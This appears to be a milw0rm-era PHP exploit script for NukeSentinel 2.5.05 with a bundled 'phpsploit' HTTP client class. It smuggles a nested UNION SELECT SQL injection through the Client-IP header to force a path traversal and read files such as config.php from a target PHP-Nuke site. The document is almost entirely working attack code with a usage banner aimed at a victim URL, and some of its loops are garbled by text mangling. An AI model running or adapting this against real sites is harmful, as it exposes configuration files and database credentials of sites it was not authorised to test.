NukeSentinel 2.5.05 (nukesentinel.php) File Disclosure Exploit#!/usr/bin/php File Disclosure # Maybe work on other versions. # Interesting exploit =) # if($argc < 5) { print(` NukeSentinel 2.5.05 (nukesentinel.php) File Disclosure Exploit ------------------------------------------------------------------ PHP conditions: none CMS conditions: disable_switch<=0 (module activated) Credits: DarkFig URL: http://www.acid-root.new.fr/ ------------------------------------------------------------------ Usage: $argv[0] -url -file [Options] Example: $argv[0] -url http://www.victim.com/ -file config.php Options: -proxy If you wanna use a proxy -proxyauth Basic authentification ------------------------------------------------------------------ `); exit(1); } $url = getparam('url',1); # http://localhost/php-nuke-7.9/html/ $file = getparam('file',1); # config.php, admin/.htaccess $proxy = getparam('proxy'); $authp = getparam('proxyauth'); $xpl = new phpsploit(); $xpl->agent(`Mozilla Firefox`); if($proxy) $xpl->proxy($proxy); if($authp) $xpl->proxyauth($authp); # +nukesentinel.php # # 52. $nsnst_const['server_ip'] = get_server_ip(); # 53. $nsnst_const['client_ip'] = get_client_ip(); # 54. $nsnst_const['forward_ip'] = get_x_forwarded(); # 55. $nsnst_const['remote_addr'] = get_remote_addr(); # 56. $nsnst_const['remote_ip'] = get_ip(); // If $nsnst_const['client_ip'] return it, elseif $nsnst_const['forward_ip'] return it ... # # # $xpl->addheader(`Client-IP`,`255.255.255.255`); # | # 73. if(!ereg(`([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})`, $nsnst_const['client_ip'])) {$nsnst_const['client_ip'] = `none`; } # 74. if(!ereg(`([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})`, $nsnst_const['forward_ip'])) {$nsnst_const['forward_ip'] = `none`; } # 75. if(!ereg(`([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})`, $nsnst_const['remote_ip'])) {$nsnst_const['remote_ip'] = `none`; } # 76. if(!ereg(`([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})`, $nsnst_const['remote_addr'])) {$nsnst_const['remote_addr'] = `none`; } # # # 221. // Check if ip is blocked # 222. $blocked_row = abget_blocked($nsnst_const['remote_ip']); # 223. if($blocked_row) { blocked($blocked_row);} # # # $xpl->addheader(`Client-IP`,`' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.255.255`); # | # 723. function abget_blocked($remoteip) { # 724. global $prefix, $db; # 725. $ip = explode(`.`, $remoteip); # 726. $testip1 = `$ip[0].*.*.*`; // ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.*.*.* # 727. $testip2 = `$ip[0].$ip[1].*.*`; // ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.*.* # 728. $testip3 = `$ip[0].$ip[1].$ip[2].*`; // ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.255.* # 729. $testip4 = `$ip[0].$ip[1].$ip[2].$ip[3]`; // ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.255.255 # 730. $blocked_result = $db->sql_query(`SELECT * FROM ``.$prefix.`_nsnst_blocked_ips` WHERE `ip_addr` = '$testip1' OR `ip_addr` = '$testip2' OR `ip_addr` = '$testip3' OR `ip_addr` = '$testip4'`); # 731. $blocked_row = $db->sql_fetchrow($blocked_result); # 732. return $blocked_row; # 733. } # # # 1044. function blocked($blocked_row=``, $blocker_row=``) { # 1050. if(empty($blocker_row)) { $blocker_row = abget_blockerrow($blocked_row['reason']); } // $blocked_row['reason'] ... 6,7,--->8<---,9 # # # $xpl->addheader(`Client-IP`,`' UNION SELECT 1,2,3,4,5,6,7,`.mysqlchar(' UNION SELECT -666,2,3,4,5,6,7,'../config.php',9,10,11 ORDER BY blocker #).`,9,10,11,12,13,14,15,16,17,18#255.255.255.255`); # | # 750. function abget_blockerrow($reason){ # 751. global $prefix, $db; # 752. $blockerresult = $db->sql_query(`SELECT * FROM ``.$prefix.`_nsnst_blockers` WHERE `blocker`='$reason'`); // + ' UNION SELECT -666,2,3,4,5,6,7,'../config.php',9,10,11 ORDER BY blocker # # 753. $blocker_row = $db->sql_fetchrow($blockerresult); # 754. return $blocker_row; # 755. } # # # 1044. function blocked($blocked_row=``, $blocker_row=``) { # 1056. $display_page = abget_template($blocker_row['template']); // $blocker_row['template'] ... 6,7,--->'../config.php'<---,9 # # # 1004. function abget_template($template=``) { # 1013. $filename = `abuse/`.$template; // $template = ../config.php # 1014. if(!file_exists($filename)) { $filename = `abuse/abuse_default.tpl`; } # 1015. $handle = @fopen($filename, `r`); # 1016. $display_page = fread($handle, filesize($filename)); # 1017. @fclose($handle); # 1041. return $display_page; # 1042. } # # Interesting isn't it ? :] # $sql = `' UNION SELECT 1,2,3,4,5,6,7,` .mysqlchar(`' UNION SELECT -666,2,3,4,5,6,7,'../$file',9,10,11 ORDER BY blocker #`) .`,9,10,11,12,13,14,15,16,17,18#255.255.255.255`; $xpl->addheader(`Client-IP`,$sql); $xpl->get($url.'index.php'); print $xpl->getcontent(); function mysqlchar($data) { $char='CHAR('; for($i=0;$i $key) { if($key == '-'.$param) return $argv[$value+1]; } if($opt) exit(`\n#3 -$param parameter required`); else return; } /* * * Copyright (C) darkfig * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * TITLE: PhpSploit Class * REQUIREMENTS: PHP 5 (remove `private`, `public` if you have PHP 4) * VERSION: 1.2 * LICENSE: GNU General Public License * ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt * FILENAME: phpsploitclass.php * * CONTACT: gmdarkfig@gmail.com (french / english) * GREETZ: Sparah, Ddx39 * * DESCRIPTION: * The phpsploit is a class implementing a web user agent. * You can add cookies, headers, use a proxy server with (or without) a * basic authentification. It supports the GET and the POST method. It can * also be used like a browser with the cookiejar() function (which allow * a server to add several cookies for the next requests) and the * allowredirection() function (which allow the script to follow all * redirections sent by the server). It can return the content (or the * headers) of the request. Others useful functions can be used for debugging. * A manual is actually in development but to know how to use it, you can * read the comments. * * CHANGELOG: * [2007-01-24] (1.2) * * Bug #2 fixed: Problem concerning the getcookie() function ((|;)) * * New: multipart/form-data enctype is now supported * * [2006-12-31] (1.1) * * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug) * * New: You can now call the getheader() / getcontent() function without parameters * * [2006-12-30] (1.0) * * First version * */ class phpsploit { /** * This function is called by the get()/post() functions. * You don't have to call it, this is the main function. * * @return $server_response */ private function sock() { if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport); else $socket = fsockopen($this->host,$this->port); if(!$socket) die(`Error: The host doesn't exist`); if($this->method===`get`) $this->packet = `GET `.$this->url.` HTTP/1.1\r\n`; elseif($this->method===`post` or $this->method===`formdata`) $this->packet = `POST `.$this->url. ` HTTP/1.1\r\n`; else die(`Error: Invalid method`); if(!empty($this->proxyuser)) $this->packet .= `Proxy-Authorization: Basic `.base64_encode($this->proxyuser.`:`.$this->proxypass).`\r\n`; $this->packet .= `Host: `.$this->host.`\r\n`; if(!empty($this->agent)) $this->packet .= `User-Agent: `.$this->agent.`\r\n`; if(!empty($this->header)) $this->packet .= $this->header.`\r\n`; if(!empty($this->cookie)) $this->packet .= `Cookie: `.$this->cookie.`\r\n`; $this->packet .= `Connection: Close\r\n`; if($this->method===`post`) { $this->packet .= `Content-Type: application/x-www-form-urlencoded\r\n`; $this->packet .= `Content-Length: `.strlen($this->data).`\r\n\r\n`; $this->packet .= $this->data.`\r\n`; } elseif($this->method===`formdata`) { $this->packet .= `Content-Type: multipart/form-data; boundary=---------------------------`.$this->boundary.`\r\n`; $this->packet .= `Content-Length: `.strlen($this->data).`\r\n\r\n`; $this->packet .= $this->data; } $this->packet .= `\r\n`; $this->recv = ''; fputs($socket,$this->packet); while(!feof($socket)) $this->recv .= fgets($socket); fclose($socket); if($this->cookiejar) $this->cookiejar($this->getheader($this->recv)); if($this->allowredirection) return $this->allowredirection($this->recv); else return $this->recv; } /** * This function allows you to add several cookie in the * request. Several methods are supported: * * $this->addcookie(`name`,`value`); * or * $this->addcookie(`name=newvalue`); * or * $this->addcookie(`othername=overvalue; xx=zz; y=u`); * * @param string $cookiename * @param string $cookievalue * */ public function addcookie($cookn,$cookv='') { // $this->addcookie(`name`,`value`); work avec replace if(!empty($cookv)) { if($cookv === `deleted`) $cookv=''; // cookiejar(1) && Set-Cookie: name=delete if(!empty($this->cookie)) { if(preg_match(`/$cookn=/`,$this->cookie)) { $this->cookie = preg_replace(`/$cookn=(\S*);/`,`$cookn=$cookv;`,$this->cookie); } else { $this->cookie .= ` `.$cookn.`=`.$cookv.`;`; // ` `. } } else { $this->cookie = $cookn.`=`.$cookv.`;`; } } // $this->addcookie(`name=value; othername=othervalue`); else { if(!empty($this->cookie)) { $cookn = preg_replace(`/(.*);$/`,`$1`,$cookn); $cookarr = explode(`;`,str_replace(` `, ``,$cookn)); for($i=0;$iaddcookie($cookn,$cookv); } } else { $cookn = ((substr($cookn,(strlen($cookn)-1),1))===`;`) ? $cookn : $cookn.`;`; $this->cookie = $cookn; } } } /** * This function allows you to add several headers in the * request. Several methods are supported: * * $this->addheader(`headername`,`headervalue`); * or * $this->addheader(`headername: headervalue`); * * @param string $headername * @param string $headervalue */ public function addheader($headern,$headervalue='') { // $this->addheader(`name`,`value`); if(!empty($headervalue)) { if(!empty($this->header)) { if(preg_match(`/$headern:/`,$this->header)) { $this->header = preg_replace(`/$headern: (\S*)/`,`$headern: $headervalue`,$this->header); } else { $this->header .= `\r\n`.$headern.`: `.$headervalue; } } else { $this->header=$headern.`: `.$headervalue; } } // $this->addheader(`name: value`); else { if(!empty($this->header)) { $headarr = explode(`: `,$headern); $headern = $headarr[0]; $headerv = $headarr[1]; $this->addheader($headern,$headerv); } else { $this->header=$headern; } } } /** * This function allows you to use an http proxy server. * Several methods are supported: * * $this->proxy(`proxyip`,`8118`); * or * $this->proxy(`proxyip:8118`) * * @param string $proxyhost * @param integer $proxyport */ public function proxy($proxy,$proxyp='') { // $this->proxy(`localhost:8118`); if(empty($proxyp)) { preg_match(`/^(\S*):(\d+)$/`,$proxy,$proxarr); $proxh = $proxarr[1]; $proxp = $proxarr[2]; $this->proxyhost=$proxh; $this->proxyport=$proxp; } // $this->proxy(`localhost`,8118); else { $this->proxyhost=$proxy; $this->proxyport=intval($proxyp); } if($this->proxyport > 65535) die(`Error: Invalid port number`); } /** * This function allows you to use an http proxy server * which requires a basic authentification. Several * methods are supported: * * $this->proxyauth(`darkfig`,`dapasswd`); * or * $this->proxyauth(`darkfig:dapasswd`); * * @param string $proxyuser * @param string $proxypass */ public function proxyauth($proxyauth,$proxypasse='') { // $this->proxyauth(`darkfig:password`); if(empty($proxypasse)) { preg_match(`/^(.*):(.*)$/`,$proxyauth,$proxautharr); $proxu = $proxautharr[1]; $proxp = $proxautharr[2]; $this->proxyuser=$proxu; $this->proxypass=$proxp; } // $this->proxyauth(`darkfig`,`password`); else { $this->proxyuser=$proxyauth; $this->proxypass=$proxypasse; } } /** * This function allows you to set the `User-Agent` header. * Several methods are possible to do that: * * $this->agent(`Mozilla Firefox`); * or * $this->addheader(`User-Agent: Mozilla Firefox`); * or * $this->addheader(`User-Agent`,`Mozilla Firefox`); * * @param string $useragent */ public function agent($useragent) { $this->agent=$useragent; } /** * This function returns the header which will be * in the next request. * * $this->showheader(); * * @return $header */ public function showheader() { return $this->header; } /** * This function returns the cookie which will be * in the next request. * * $this->showcookie(); * * @return $storedcookies */ public function showcookie() { return $this->cookie; } /** * This function returns the last formed * http request (the http packet). * * $this->showlastrequest(); * * @return $last_http_request */ public function showlastrequest() { return $this->packet; } /** * This function sends the formed http packet with the * GET method. You can precise the port of the host. * * $this->get(`http://localhost`); * $this->get(`http://localhost:888/xd/tst.php`); * * @param string $urlwithpath * @return $server_response */ public function get($url) { $this->target($url); $this->method=`get`; return $this->sock(); } /** * This function sends the formed http packet with the * POST method. You can precise the port of the host. * * $this->post(`http://localhost/index.php`,`admin=1&user=dark`); * * @param string $urlwithpath * @param string $postdata * @return $server_response */ public function post($url,$data) { $this->target($url); $this->method=`post`; $this->data=$data; return $this->sock(); } /** * This function sends the formed http packet with the * POST method using the multipart/form-data enctype. * * $array = array( * frmdt_url => `http://localhost/upload.php`, * frmdt_boundary => `123456`, # Optional * `email` => `me@u.com`, * `varname` => array( * frmdt_type => `image/gif`, # Optional * frmdt_transfert => `binary`, # Optional * frmdt_filename => `hello.php`, * frmdt_content => ``)); * $this->formdata($array); * * @param array $array * @return $server_response */ public function formdata($array) { $this->target($array[frmdt_url]); $this->method=`formdata`; $this->data=''; if(!isset($array[frmdt_boundary])) $this->boundary=`phpsploit`; else $this->boundary=$array[frmdt_boundary]; foreach($array as $key => $value) { if(!preg_match(`#^frmdt_(boundary|url)#`,$key)) { $this->data .= `-----------------------------`.$this->boundary.`\r\n`; $this->data .= `Content-Disposition: form-data; name=\``.$key.`\`;`; if(!is_array($value)) { $this->data .= `\r\n\r\n`.$value.`\r\n`; } else { $this->data .= ` filename=\``.$array[$key][frmdt_filename].`\`;\r\n`; if(isset($array[$key][frmdt_type])) $this->data .= `Content-Type: `.$array[$key][frmdt_type].`\r\n`; if(isset($array[$key][frmdt_transfert])) $this->data .= `Content-Transfer-Encoding: `.$array[$key][frmdt_transfert].`\r\n`; $this->data .= `\r\n`.$array[$key][frmdt_content].`\r\n`; } } } $this->data .= `-----------------------------`.$this->boundary.`--\r\n`; return $this->sock(); } /** * This function returns the content of the server response * without the headers. * * $this->getcontent($this->get(`http://localhost/`)); * or * $this->getcontent(); * * @param string $server_response * @return $onlythecontent */ public function getcontent($code='') { if(empty($code)) $code = $this->recv; $content = explode(`\n`,$code); $onlycode = ''; for($i=1;$igetheader($this->post(`http://localhost/x.php`,`x=1&z=2`)); * or * $this->getheader(); * * @param string $server_response * @return $onlytheheaders */ public function getheader($code='') { if(empty($code)) $code = $this->recv; $header = explode(`\n`,$code); $onlyheader = $header[0].`\n`; for($i=1;$iaddcookie($cookn,$cookv); } } /** * This function is called by the get()/post() functions. * You don't have to call it. * * @param string $urltarg */ private function target($urltarg) { if(!preg_match(`/^http:\/\/(.*)\//`,$urltarg)) $urltarg .= `/`; $this->url=$urltarg; $array = explode(`/`,str_replace(`http://`,``,preg_replace(`/:(\d+)/`,``,$urltarg))); $this->host=$array[0]; preg_match(`/:(\d+)\//`,$urltarg,$matches); $this->port=empty($matches[1]) ? 80 : $matches[1]; $temp = str_replace(`http://`,``,preg_replace(`/:(\d+)/`,``,$urltarg)); preg_match(`/\/(.*)\//`,$temp,$matches); $this->path=str_replace(`//`,`/`,`/`.$matches[1].`/`); if($this->port > 65535) die(`Error: Invalid port number`); } /** * If you call this function, the script will * extract all `Set-Cookie` headers values * and it will automatically add them into the `Cookie` header * for all next requests. * * $this->cookiejar(1); // enabled * $this->cookiejar(0); // disabled * */ public function cookiejar($code) { if($code===0) $this->cookiejar=''; if($code===1) $this->cookiejar=1; else { $this->getcookie($code); } } /** * If you call this function, the script will * follow all redirections sent by the server. * * $this->allowredirection(1); // enabled * $this->allowredirection(0); // disabled * * @return $this->get($locationresponse) */ public function allowredirection($code) { if($code===0) $this->allowredirection=''; if($code===1) $this->allowredirection=1; else { if(preg_match(`/(location|content-location|uri): (.*)/i`,$code,$codearr)) { $location = str_replace(chr(13),'',$codearr[2]); if(!eregi(`://`,$location)) { return $this->get(`http://`.$this->host.$this->path.$location); } else { return $this->get($location); } } else { return $code; } } } /** * This function allows you to reset some parameters: * * $this->reset(header); // headers cleaned * $this->reset(cookie); // cookies cleaned * $this->reset(); // clean all parameters * * @param string $func */ public function reset($func='') { switch($func) { case `header`: $this->header=''; break; case `cookie`: $this->cookie=''; break; default: $this->cookiejar=''; $this->header=''; $this->cookie=''; $this->allowredirection=''; $this->agent=''; break; } } } ?> # milw0rm.com [2007-02-20]